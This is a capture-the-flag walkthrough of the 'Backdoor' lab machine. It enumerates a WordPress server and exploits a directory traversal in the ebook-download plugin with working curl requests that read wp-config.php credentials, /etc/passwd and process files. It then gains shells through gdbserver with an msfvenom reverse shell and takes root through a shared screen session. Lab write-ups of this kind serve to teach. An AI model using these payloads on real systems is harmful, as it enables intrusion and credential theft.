Enumeration
OS Detection
In order to identify the machine that we are dealing with, we will perform an OS detection. This can be done very simply, as the TTL (Time To Live) of a ping response can give us clues. TTL will be close to 64 on Unix machines, close to 128 on Windows machines, and close to 255 on Solaris machines.
Ping target machine
We can see that the machine that we are targeting has a TTL of 63, so we guess that we are dealing with a Unix machine.
Nmap
First, we will start enumerating the open ports on the victim machine with nmap. We will specify that we want to scan all the port range, that we only want to display the open ports and that we will use the TCP Syn Port Scan scanning method. Additionally, we will specify explicitly that we don’t want to perform host discovery and DNS resolution. This will speed up the process. Lastly, we will export all the evidence to a file called allPorts.txt:
1
nmap -p- -sS --min-rate 5000 -n -Pn -oG allPorts.txt 10.10.11.125
1
2
3
4
# Nmap 7.92 scan initiated Mon Oct 10 09:15:55 2022 as: nmap -p- -sS --min-rate 5000 -n -Pn -oG allPorts.txt 10.10.11.125
Host: 10.10.11.125 () Status: Up
Host: 10.10.11.125 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 1337/open/tcp//waste/// Ignored State: closed (65532)
# Nmap done at Mon Oct 10 09:16:08 2022 -- 1 IP address (1 host up) scanned in 13.01 seconds
Once we know the open ports, we will scan them in a more exhaustive way to find the services and versions that are running. We will export evidence to the targeted.txt file:
1
nmap -p22,80,1337 -sCV -n -Pn -oN targeted.txt 10.10.11.125
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.92 scan initiated Mon Oct 10 09:16:47 2022 as: nmap -p22,80,1337 -sCV -n -Pn -oN targeted.txt 10.10.11.125
Nmap scan report for 10.10.11.125
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
|_http-generator: WordPress 5.8.1
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 10 09:17:09 2022 -- 1 IP address (1 host up) scanned in 21.95 seconds
The target machine has the 22 (SSH), 80 (HTTP) and 1337 (Unknown) ports open.
As the SSH service is running a pretty new version of OpenSSH and we can’t identify the service running on port 1337, we will start enumerating the web server on port 80.
We will do a simple scan of the web server using an integrated Nmap script named http-enum that is part of the NSE Engine. This script will try the most common files and directories on the web servers, and if they exist, it will report them. We will save the evidence to a file called webScan.txt:
1
nmap --script http-enum -p80 -oN webScan.txt 10.10.11.125
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.92 scan initiated Mon Oct 10 09:26:04 2022 as: nmap --script http-enum -p80 -oN webScan.txt 10.10.11.125
Nmap scan report for 10.10.11.125
Host is up (0.035s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /wp-login.php: Possible admin folder
| /readme.html: Wordpress version: 2
| /: WordPress version: 5.8.1
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
|_ /readme.html: Interesting, a readme.
# Nmap done at Mon Oct 10 09:26:13 2022 -- 1 IP address (1 host up) scanned in 8.44 seconds
We can see that there are some interesting directories on the web server, and judging by the structure, we can say that we are dealing with a Wordpress web server.
Fuzzing
If we know the structure that the Wordpress CMS (Content Management System) usually has, we know that it contains a folder named wp-content. This folder is usually used to host the content of the web server, including user-uploaded data. We use wfuzz to fuzz its directories:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Target: http://10.10.11.125/wp-content/FUZZ
Total requests: 220560
==================================================================
ID Response Lines Word Chars Request
==================================================================
00001: C=200 0 L 0 W 0 Ch "# directory-list-2.3-medium.txt"
00006: C=200 0 L 0 W 0 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
00003: C=200 0 L 0 W 0 Ch "# Copyright 2007 James Fisher"
00005: C=200 0 L 0 W 0 Ch "# This work is licensed under the Creative Commons"
00002: C=200 0 L 0 W 0 Ch "#"
00004: C=200 0 L 0 W 0 Ch "#"
00007: C=200 0 L 0 W 0 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
00009: C=200 0 L 0 W 0 Ch "# Suite 300, San Francisco, California, 94105, USA."
00013: C=200 0 L 0 W 0 Ch "#"
00011: C=200 0 L 0 W 0 Ch "# Priority ordered case-sensitive list, where entries were found"
00012: C=200 0 L 0 W 0 Ch "# on at least 2 different hosts"
00008: C=200 0 L 0 W 0 Ch "# or send a letter to Creative Commons, 171 Second Street,"
00010: C=200 0 L 0 W 0 Ch "#"
00014: C=200 0 L 0 W 0 Ch "http://10.10.11.125/wp-content/"
00127: C=301 9 L 28 W 324 Ch "themes"
00164: C=301 9 L 28 W 325 Ch "uploads"
00519: C=301 9 L 28 W 325 Ch "plugins"
01031: C=301 9 L 28 W 325 Ch "upgrade"
45240: C=200 0 L 0 W 0 Ch "http://10.10.11.125/wp-content/"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220541
Requests/sec.: 0
We can see some interesting folders as uploads and plugins. The first one is usually where user-uploaded data is hosted, and the second one corresponds to the Wordpress plugins that are being used. This last one is critical to examine as plugins often contain vulnerabilities and are not updated as often as the CMS.
1
2
3
4
5
6
7
8
9
10
11
12
13
Target: http://10.10.11.125/FUZZ
Total requests: 13368
==================================================================
ID Response Lines Word Chars Request
==================================================================
00468: C=403 9 L 28 W 277 Ch "wp-content/plugins/akismet/"
04592: C=500 0 L 0 W 0 Ch "wp-content/plugins/hello.php"
04593: C=500 0 L 0 W 0 Ch "wp-content/plugins/hello.php/"
Total time: 0
Processed Requests: 13368
Filtered Requests: 13365
Requests/sec.: 0
We will find the akismet and the hello.php plugins. This plugins don’t seem to have any vulnerability, so we will proceed to examine the CMS further.
Wordpress
Wpscan
We don’t have a defined access point, so we will enumerate further the web server. We are dealing with a Wordpress web server, so we can use the wpscan tool to enumerate it.
We will start by performing aggressive plugin detection. This will allow us to discover if there are more plugins than the ones that we have found doing fuzzing:
1
wpscan -e ap --plugins-detection aggressive --url http://10.10.11.125
WpScan plugins
We can see how there is a plugin called ebook-download that we haven’t discovered in the fuzzing phase. Additionally, wpscan reveals to us that the version that is being used is 1.1.
Directory Traversal
We will search for exploits in the ebook-download plugin with searchsploit:
Searchsploit
There is a Directory Traversal vulnerability in the 1.1 version of ebook-download, the version that we have just discovered the web server is using. We will inspect this exploit further:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wçadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================
We can see that this exploit is a .txt file explaining how the Directory Traversal vulnerability can be used. Basically, there is a file called filedownload.php in the ebook-download plugin, that has an ebookdownloadurl parameter that can be pointed to internal resources using Directory Traversal.
First, we can try to download the wp-config.php file of the web server, as it usually contains credentials in plain text or at least useful information. If we notice, we have to go back three directories to be at the root of the web server. This is where the wp-config.php file is located. We will curl the mentioned endpoint in order to try to download the file:
1
curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
../../../wp-config.php../../../wp-config.php../../../wp-config.php<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/* THIS IS CUSTOM CODE CREATED AT ZEROFRACTAL TO MAKE SITE ACCESS DYNAMIC */
$currenthost = "http://".$_SERVER['HTTP_HOST'];
$currentpath = preg_replace('@/+$@','',dirname($_SERVER['SCRIPT_NAME']));
$currentpath = preg_replace('/\/wp.+/','',$currentpath);
define('WP_HOME',$currenthost.$currentpath);
define('WP_SITEURL',$currenthost.$currentpath);
define('WP_CONTENT_URL', $currenthost.$currentpath.'/wp-content');
define('WP_PLUGIN_URL', $currenthost.$currentpath.'/wp-content/plugins');
define('DOMAIN_CURRENT_SITE', $currenthost.$currentpath );
@define('ADMIN_COOKIE_PATH', './');
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
<script>window.close()</script>
We can see that the wp-config.php file is being displayed and that we have some credentials, presumably for the database, on the target machine:
1
Wordpress -> wordpressuser -> MQYBJSaD#DxG6qbm
Now, we will go back a few more directories and we will try to download the /etc/passwd file:
1
curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
../../../../../../etc/passwd../../../../../../etc/passwd../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
<script>window.close()</script>
This file is always useful for learning about the users on the target machine. In this case, we have a user called user that has a /bin/bash shell assigned.
If we remember the enumeration phase, the SSH service was enabled, but if we try to read the /home/user/.ssh/id_rsa file, we will notice that it is not being displayed.
We will have to enumerate further in order to gain a shell on the target machine. We will start by enumerating the processes running on the target machine. To do that, we can list the /proc/sched_debug file. This file contains all the names of processes running on the target machine and their associated PIDs (Program IDs). We will retrieve this file:
1
curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/sched_debug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-----------------------------------------------------------------------------------------------------------
Ssystemd-resolve 681 396.619020 919 120 0.000000 535.509599 0.000000 0 0 /autogroup-30
Ssystemd-timesyn 683 345.419420 318 120 0.000000 364.071150 0.000000 0 0 /autogroup-31
S sd-resolve 751 351.353787 853 120 0.000000 102.344524 0.000000 0 0 /autogroup-31
S HangDetector 752 1953.279714 2281 120 0.000000 85.176872 0.000000 0 0 /autogroup-36
Saccounts-daemon 754 26.168089 72 120 0.000000 14.543910 0.000000 0 0 /autogroup-38
S gmain 761 52.585943 2043 120 0.000000 121.948100 0.000000 0 0 /autogroup-38
S gdbus 894 26.808460 35 120 0.000000 2.709312 0.000000 0 0 /autogroup-38
S rsyslogd 776 36.284934 33 120 0.000000 6.967121 0.000000 0 0 /autogroup-43
S in:imklog 805 9.185210 4 120 0.000000 3.432806 0.000000 0 0 /autogroup-43
S rs:main Q:Reg 806 47.756009 1119 120 0.000000 56.144683 0.000000 0 0 /autogroup-43
S cron 831 0.691187 31 120 0.000000 2.891720 0.000000 0 0 /autogroup-55
S cron 832 0.666570 26 120 0.000000 3.109721 0.000000 0 0 /autogroup-55
S sh 844 14166.949705 4303 120 0.000000 817.101098 0.000000 0 0 /autogroup-57
S sh 847 1.586230 3 120 0.000000 1.204028 0.000000 0 0 /autogroup-64
S atd 856 1.340863 5 120 0.000000 2.882284 0.000000 0 0 /autogroup-63
S (sd-pam) 961 0.464843 1 120 0.000000 0.251041 0.000000 0 0 /autogroup-76
S screen 966 0.466555 11 120 0.000000 1.324943 0.000000 0 0 /autogroup-78
S bash 972 41.421383 130 120 0.000000 28.242470 0.000000 0 0 /autogroup-79
S ib_io_rd-1 1019 1754.497361 4265 120 0.000000 114.641141 0.000000 0 0 /autogroup-80
S ib_io_wr-2 1024 1754.530925 4356 120 0.000000 116.785899 0.000000 0 0 /autogroup-80
S ib_io_wr-4 1026 1754.550461 4326 120 0.000000 119.141381 0.000000 0 0 /autogroup-80
S ib_pg_flush_co 1027 1754.487262 2312 120 0.000000 141.575541 0.000000 0 0 /autogroup-80
S ib_log_flush 1030 1760.530098 22226 120 0.000000 698.770218 0.000000 0 0 /autogroup-80
Sib_log_wr_notif 1031 1760.527739 21947 120 0.000000 693.114159 0.000000 0 0 /autogroup-80
S ib_log_writer 1032 1760.561132 22072 120 0.000000 744.339427 0.000000 0 0 /autogroup-80
S xpl_worker-1 1044 1748.809084 37 120 0.000000 1.784572 0.000000 0 0 /autogroup-80
S xpl_worker-2 1045 1748.747528 36 120 0.000000 0.498846 0.000000 0 0 /autogroup-80
S ib_buf_dump 1050 948.473208 6 120 0.000000 0.870655 0.000000 0 0 /autogroup-80
S ib_srv_purge 1052 1363.639160 1419 120 0.000000 49.311427 0.000000 0 0 /autogroup-80
S ib_srv_wkr-1 1053 1362.762495 512 120 0.000000 16.171621 0.000000 0 0 /autogroup-80
S ib_srv_wkr-2 1054 1362.761183 588 120 0.000000 7.164060 0.000000 0 0 /autogroup-80
S sig_handler 1057 974.946940 2 120 0.000000 0.144871 0.000000 0 0 /autogroup-80
S connection 1358 1319.789789 310 120 0.000000 49.962620 0.000000 0 0 /autogroup-80
>R apache2 989 5768.821922 8890 120 0.000000 2226.710891 0.000000 0 0 /autogroup-68
S apache2 2135 5767.434831 6832 120 0.000000 1699.605290 0.000000 0 0 /autogroup-68
S apache2 2146 5773.990634 6842 120 0.000000 1719.259974 0.000000 0 0 /autogroup-68
S apache2 2150 5771.905152 7015 120 0.000000 1733.139759 0.000000 0 0 /autogroup-68
I kworker/u256:1 3282 25660.399175 3482 120 0.000000 122.960262 0.000000 0 0 /
I kworker/1:0 3304 25103.186574 7079 120 0.000000 597.353019 0.000000 0 0 /
S su 3415 16.258561 29 120 0.000000 5.854285 0.000000 0 0 /autogroup-64
S gdbserver 3424 10.631109 13 120 0.000000 3.848920 0.000000 0 0 /autogroup-94
I kworker/1:1 4867 25664.124835 4644 120 0.000000 404.925768 0.000000 0 0 /
<script>window.close()</script>
If we examine the process names, one of them will attract our attention. This process is gdbserver, usually used to debug applications on a machine from another machine. We can also see that the associated PID for this process is 3424.
Once we know the PID of the process that we want to examine, we can retrieve the /proc/{PID}/cmdline file to see the expression that is being used to invoke the process. We can retrieve this file with the following command:
1
curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/3424/cmdline > cmdline
This file will be binary, so we will extract the strings contained in the binary into a text file:
1
strings cmdline > proc-3424-cmdline.txt
1
2
3
4
5
../../../../../../../../proc/3424/cmdline../../../../../../../../proc/3424/cmdline../../../../../../../../proc/3424/cmdlinegdbserver
--once
0.0.0.0:1337
/bin/true
<script>window.close()</script>
This file gives us useful information, as we have discovered that the gdbserver process is running on port 1337. This port was the one that Nmap was not capable of identifying.
User Shell
GDB Server
Once we know the process running on port 1337 is gdbserver, we can try to exploit it in order to gain a user shell.
First, we will create a payload with msfvenom. This payload will be a shell_reverse_tcp and it will be in elf format. Additionally, we have indicated that we want the reverse shell to be created as a new process with fork. This will be useful to keep the gdbserver process running and not stuck after sending our reverse shell:
Reverse Shell Elf
Once we have created the payload, we will upload it to the target machine via gdbserver. To do this, we will use the following commands:
Upload Elf to Target Machine
We can see how the payload is now on the target machine. Finally, we will try to execute this payload with the following commands:
Exec Elf in Target Machine
We will receive a shell in the port that we are listening. The problem is that this shell is not interactive, so we will do a treatment to make it a fully interactive terminal:
TTY Treatment
We have a shell as the user user, so we will proceed to visualize the user.txt flag in the /home/user/ directory.
Root Shell
MySQL
If we remember the previous phase, we found some credentials for the database used by Wordpress. We will try to connect to the database to see if we can retrieve any useful information. If we list the tables in the Wordpress database:
Database Tables
There is a table called wp_users that will attract our attention. We will visualize the content of it:
Credentials in Users Table
We will find the following hash in the database, that corresponds to the admin user:
1
$P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5.
If we try to crack this hash either using offline cracking or a website like crackstation, we will see that there are no coincidences, so we will keep enumerating the target machine in order to escalate privileges.
GNU Screen
If we examine the processes that are running on the target machine, we will see two processes that will attract our attention. The first one will be a session of GNU Screen running as the root user:
Screen Session as Root
The second process will be a script that does the following:
1
/bin/sh -c while true; do sleep1;find /var/run/screen/S-root/ -empty -exec screen -dmS root; done
We can see that this script is a recurring task that finds sessions in the /var/run/screen/S-root/ directory, and if there are not any sessions created, it creates a session as the root user.
If we list the sessions running as root with the screen -ls root/ command, we will find that there is a created session. We can also see that this session is configured to be used as multiuser. This allows us to attach to the session even if we are not the root user:
Synchronize to Session
We have a shell as the root user, so we will proceed to visualize the root.txt flag in the /root/ directory.
Comments powered by Disqus.